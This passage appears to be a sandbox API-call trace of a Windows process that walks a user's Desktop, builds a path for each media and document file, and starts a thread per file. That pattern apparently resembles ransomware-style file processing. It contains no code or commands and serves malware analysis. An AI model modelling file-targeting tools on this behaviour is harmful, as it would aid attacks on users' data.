_Dest=0x1b8588b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0087.788] wcscat (in: _Dest=0x1b8588b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0087.788] wcscat (in: _Dest=0x1b8588b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*" [0087.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e200 [0087.788] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcced84e0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xcced84e0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c8b0 [0087.788] wcscmp (_String1=".", _String2=".") returned 0 [0087.788] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcced84e0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xcced84e0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.788] wcscmp (_String1="..", _String2=".") returned 1 [0087.788] wcscmp (_String1="..", _String2="..") returned 0 [0087.788] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78a0ab0, ftCreationTime.dwHighDateTime=0x1d5e102, ftLastAccessTime.dwLowDateTime=0xd1c4200, ftLastAccessTime.dwHighDateTime=0x1d5e785, ftLastWriteTime.dwLowDateTime=0xd1c4200, ftLastWriteTime.dwHighDateTime=0x1d5e785, nFileSizeHigh=0x0, nFileSizeLow=0x94ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="03gElhFJMJrB.wav", cAlternateFileName="03GELH~1.WAV")) returned 1 [0087.788] wcscmp (_String1="03gElhFJMJrB.wav", _String2=".") returned 1 [0087.788] wcscmp (_String1="03gElhFJMJrB.wav", _String2="..") returned 1 [0087.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e3f0 [0087.789] wcscpy (in: _Dest=0x1b79e3f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0087.789] wcscat (in: _Dest=0x1b79e3f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0087.789] wcscat (in: _Dest=0x1b79e3f0, _Source="03gElhFJMJrB.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\03gElhFJMJrB.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\03gElhFJMJrB.wav" [0096.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0096.786] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b58b540, ftCreationTime.dwHighDateTime=0x1d5e1e1, ftLastAccessTime.dwLowDateTime=0xd622d500, ftLastAccessTime.dwHighDateTime=0x1d5e0bf, ftLastWriteTime.dwLowDateTime=0xd622d500, ftLastWriteTime.dwHighDateTime=0x1d5e0bf, nFileSizeHigh=0x0, nFileSizeLow=0xeed1, dwReserved0=0x0, dwReserved1=0x0, cFileName="0I0RukcW_MgGVGVZ.mkv", cAlternateFileName="0I0RUK~1.MKV")) returned 1 [0096.786] wcscmp (_String1="0I0RukcW_MgGVGVZ.mkv", _String2=".") returned 1 [0096.786] wcscmp (_String1="0I0RukcW_MgGVGVZ.mkv", _String2="..") returned 1 [0096.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79d9f0 [0096.787] wcscpy (in: _Dest=0x1b79d9f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.787] wcscat (in: _Dest=0x1b79d9f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.787] wcscat (in: _Dest=0x1b79d9f0, _Source="0I0RukcW_MgGVGVZ.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0I0RukcW_MgGVGVZ.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0I0RukcW_MgGVGVZ.mkv" [0096.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79d9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf84 [0096.787] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9062590, ftCreationTime.dwHighDateTime=0x1d5e382, ftLastAccessTime.dwLowDateTime=0x8ca1c510, ftLastAccessTime.dwHighDateTime=0x1d5db7b, ftLastWriteTime.dwLowDateTime=0x8ca1c510, ftLastWriteTime.dwHighDateTime=0x1d5db7b, nFileSizeHigh=0x0, nFileSizeLow=0x152ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="1W5TmwkzZTtQWxlWUN.wav", cAlternateFileName="1W5TMW~1.WAV")) returned 1 [0096.788] wcscmp (_String1="1W5TmwkzZTtQWxlWUN.wav", _String2=".") returned 1 [0096.788] wcscmp (_String1="1W5TmwkzZTtQWxlWUN.wav", _String2="..") returned 1 [0096.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b784c70 [0096.788] wcscpy (in: _Dest=0x1b784c70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.788] wcscat (in: _Dest=0x1b784c70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.788] wcscat (in: _Dest=0x1b784c70, _Source="1W5TmwkzZTtQWxlWUN.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1W5TmwkzZTtQWxlWUN.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1W5TmwkzZTtQWxlWUN.wav" [0096.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf88 [0096.789] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef7e2e20, ftCreationTime.dwHighDateTime=0x1d5d951, ftLastAccessTime.dwLowDateTime=0xf8415cd0, ftLastAccessTime.dwHighDateTime=0x1d5e24d, ftLastWriteTime.dwLowDateTime=0xf8415cd0, ftLastWriteTime.dwHighDateTime=0x1d5e24d, nFileSizeHigh=0x0, nFileSizeLow=0x4db3, dwReserved0=0x0, dwReserved1=0x0, cFileName="2-QYxqcKw5kODAiv3.gif", cAlternateFileName="2-QYXQ~1.GIF")) returned 1 [0096.789] wcscmp (_String1="2-QYxqcKw5kODAiv3.gif", _String2=".") returned 1 [0096.789] wcscmp (_String1="2-QYxqcKw5kODAiv3.gif", _String2="..") returned 1 [0096.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79dbf0 [0096.789] wcscpy (in: _Dest=0x1b79dbf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.789] wcscat (in: _Dest=0x1b79dbf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.789] wcscat (in: _Dest=0x1b79dbf0, _Source="2-QYxqcKw5kODAiv3.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2-QYxqcKw5kODAiv3.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2-QYxqcKw5kODAiv3.gif" [0096.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8c [0096.791] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1955d230, ftCreationTime.dwHighDateTime=0x1d5defb, ftLastAccessTime.dwLowDateTime=0x58f3e150, ftLastAccessTime.dwHighDateTime=0x1d5e3a3, ftLastWriteTime.dwLowDateTime=0x58f3e150, ftLastWriteTime.dwHighDateTime=0x1d5e3a3, nFileSizeHigh=0x0, nFileSizeLow=0xc4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="3BQRU.m4a", cAlternateFileName="")) returned 1 [0096.791] wcscmp (_String1="3BQRU.m4a", _String2=".") returned 1 [0096.791] wcscmp (_String1="3BQRU.m4a", _String2="..") returned 1 [0096.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863c00 [0096.791] wcscpy (in: _Dest=0x1b863c00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.791] wcscat (in: _Dest=0x1b863c00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.791] wcscat (in: _Dest=0x1b863c00, _Source="3BQRU.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3BQRU.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3BQRU.m4a" [0096.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf90 [0096.792] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x573154d0, ftCreationTime.dwHighDateTime=0x1d5e748, ftLastAccessTime.dwLowDateTime=0x8721d770, ftLastAccessTime.dwHighDateTime=0x1d5e20a, ftLastWriteTime.dwLowDateTime=0x8721d770, ftLastWriteTime.dwHighDateTime=0x1d5e20a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42Pt", cAlternateFileName="")) returned 1 [0096.792] wcscmp (_String1="42Pt", _String2=".") returned 1 [0096.792] wcscmp (_String1="42Pt", _String2="..") returned 1 [0096.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd86d90 [0096.792] wcscpy (in: _Dest=0x1cd86d90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.792] wcscat (in: _Dest=0x1cd86d90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.792] wcscat (in: _Dest=0x1cd86d90, _Source="42Pt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" [0096.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf94 [0096.793] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9162650, ftCreationTime.dwHighDateTime=0x1d5e69d, ftLastAccessTime.dwLowDateTime=0x9ff87210, ftLastAccessTime.dwHighDateTime=0x1d5e0f0, ftLastWriteTime.dwLowDateTime=0x9ff87210, ftLastWriteTime.dwHighDateTime=0x1d5e0f0, nFileSizeHigh=0x0, nFileSizeLow=0xa38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="59xLdsFpo.pps", cAlternateFileName="59XLDS~1.PPS")) returned 1 [0096.794] wcscmp (_String1="59xLdsFpo.pps", _String2=".") returned 1 [0096.794] wcscmp (_String1="59xLdsFpo.pps", _String2="..") returned 1 [0096.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b8640d0 [0096.794] wcscpy (in: _Dest=0x1b8640d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.794] wcscat (in: _Dest=0x1b8640d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.794] wcscat (in: _Dest=0x1b8640d0, _Source="59xLdsFpo.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\59xLdsFpo.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\59xLdsFpo.pps" [0096.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8640d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf98 [0096.795] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x766f2140, ftCreationTime.dwHighDateTime=0x1d5e71d, ftLastAccessTime.dwLowDateTime=0x5224d260, ftLastAccessTime.dwHighDateTime=0x1d5e1b6, ftLastWriteTime.dwLowDateTime=0x5224d260, ftLastWriteTime.dwHighDateTime=0x1d5e1b6, nFileSizeHigh=0x0, nFileSizeLow=0x185ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="7jLK9R6aaDooV.ods", cAlternateFileName="7JLK9R~1.ODS")) returned 1 [0096.795] wcscmp (_String1="7jLK9R6aaDooV.ods", _String2=".") returned 1 [0096.795] wcscmp (_String1="7jLK9R6aaDooV.ods", _String2="..") returned 1 [0096.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dc70 [0096.795] wcscpy (in: _Dest=0x1b79dc70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.795] wcscat (in: _Dest=0x1b79dc70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.795] wcscat (in: _Dest=0x1b79dc70, _Source="7jLK9R6aaDooV.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7jLK9R6aaDooV.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7jLK9R6aaDooV.ods" [0096.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf9c [0096.796] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadc5660, ftCreationTime.dwHighDateTime=0x1d5e731, ftLastAccessTime.dwLowDateTime=0xb01ea990, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xb01ea990, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="aX4vGE6ldy_t.mkv", cAlternateFileName="AX4VGE~1.MKV")) returned 1 [0096.796] wcscmp (_String1="aX4vGE6ldy_t.mkv", _String2=".") returned 1 [0096.797] wcscmp (_String1="aX4vGE6ldy_t.mkv", _String2="..") returned 1 [0096.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867140 [0096.797] wcscpy (in: _Dest=0x1b867140, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.797] wcscat (in: _Dest=0x1b867140, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.797] wcscat (in: _Dest=0x1b867140, _Source="aX4vGE6ldy_t.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aX4vGE6ldy_t.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aX4vGE6ldy_t.mkv" [0096.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa0 [0096.798] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8184d0, ftCreationTime.dwHighDateTime=0x1d5e3b4, ftLastAccessTime.dwLowDateTime=0x2fb4a370, ftLastAccessTime.dwHighDateTime=0x1d5e64f, ftLastWriteTime.dwLowDateTime=0x2fb4a370, ftLastWriteTime.dwHighDateTime=0x1d5e64f, nFileSizeHigh=0x0, nFileSizeLow=0x62b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bT9JA39FwLi.mkv", cAlternateFileName="BT9JA3~1.MKV")) returned 1 [0096.798] wcscmp (_String1="bT9JA39FwLi.mkv", _String2=".") returned 1 [0096.798] wcscmp (_String1="bT9JA39FwLi.mkv", _String2="..") returned 1 [0096.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8670c0 [0096.798] wcscpy (in: _Dest=0x1b8670c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.798] wcscat (in: _Dest=0x1b8670c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.798] wcscat (in: _Dest=0x1b8670c0, _Source="bT9JA39FwLi.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bT9JA39FwLi.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bT9JA39FwLi.mkv" [0096.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8670c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4 [0096.800] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x690e4b80, ftCreationTime.dwHighDateTime=0x1d5e177, ftLastAccessTime.dwLowDateTime=0x4c886190, ftLastAccessTime.dwHighDateTime=0x1d5dd0c, ftLastWriteTime.dwLowDateTime=0x4c886190, ftLastWriteTime.dwHighDateTime=0x1d5dd0c, nFileSizeHigh=0x0, nFileSizeLow=0xd418, dwReserved0=0x0, dwReserved1=0x0, cFileName="dCXcXvcw.mp3", cAlternateFileName="")) returned 1 [0096.800] wcscmp (_String1="dCXcXvcw.mp3", _String2=".") returned 1 [0096.800] wcscmp (_String1="dCXcXvcw.mp3", _String2="..") returned 1 [0096.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b864140 [0096.800] wcscpy (in: _Dest=0x1b864140, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.800] wcscat (in: _Dest=0x1b864140, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.800] wcscat (in: _Dest=0x1b864140, _Source="dCXcXvcw.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCXcXvcw.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCXcXvcw.mp3" [0096.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8 [0096.801] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0096.801] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0096.801] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0096.801] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ef1d50, ftCreationTime.dwHighDateTime=0x1d5da43, ftLastAccessTime.dwLowDateTime=0xde096620, ftLastAccessTime.dwHighDateTime=0x1d5df85, ftLastWriteTime.dwLowDateTime=0xde096620, ftLastWriteTime.dwHighDateTime=0x1d5df85, nFileSizeHigh=0x0, nFileSizeLow=0x1557b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EdEwWLQCK.jpg", cAlternateFileName="EDEWWL~1.JPG")) returned 1 [0096.801] wcscmp (_String1="EdEwWLQCK.jpg", _String2=".") returned 1 [0096.801] wcscmp (_String1="EdEwWLQCK.jpg", _String2="..") returned 1 [0096.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b8641b0 [0096.801] wcscpy (in: _Dest=0x1b8641b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.801] wcscat (in: _Dest=0x1b8641b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.801] wcscat (in: _Dest=0x1b8641b0, _Source="EdEwWLQCK.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EdEwWLQCK.jpg" [0096.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8641b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfac [0096.802] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70eba860, ftCreationTime.dwHighDateTime=0x1d5dd1d, ftLastAccessTime.dwLowDateTime=0xc3b6d0a0, ftLastAccessTime.dwHighDateTime=0x1d5e1a1, ftLastWriteTime.dwLowDateTime=0xc3b6d0a0, ftLastWriteTime.dwHighDateTime=0x1d5e1a1, nFileSizeHigh=0x0, nFileSizeLow=0x3e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="fk5O.m4a", cAlternateFileName="")) returned 1 [0096.802] wcscmp (_String1="fk5O.m4a", _String2=".") returned 1 [0096.802] wcscmp (_String1="fk5O.m4a", _String2="..") returned 1 [0096.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b864220 [0096.803] wcscpy (in: _Dest=0x1b864220, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0096.803] wcscat (in: _Dest=0x1b864220, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0096.803] wcscat (in: _Dest=0x1b864220, _Source="fk5O.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fk5O.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fk5O.m4a" [0096.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb0 [0096.803] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55c8d60, ftCreationTime.dwHighDateTime=0x1d5e6af, ftLastAccessTime.dwLowDateTime=0x65e37d90, ftLastAccessTime.dwHighDateTime=0x1d5e118, ftLastWriteTime.dwLowDateTime=0x65e37d90, ftLastWriteTime.dwHighDateTime=0x1d5e118, nFileSizeHigh=0x0, nFileSizeLow=0x14883, dwReserved0=0x0, dwReserved1=0x0, cFileName="HFeGusa6wyYmkE0VxTu.flv", cAlternateFileName="HFEGUS~1.FLV")) returned 1 [0096.803] 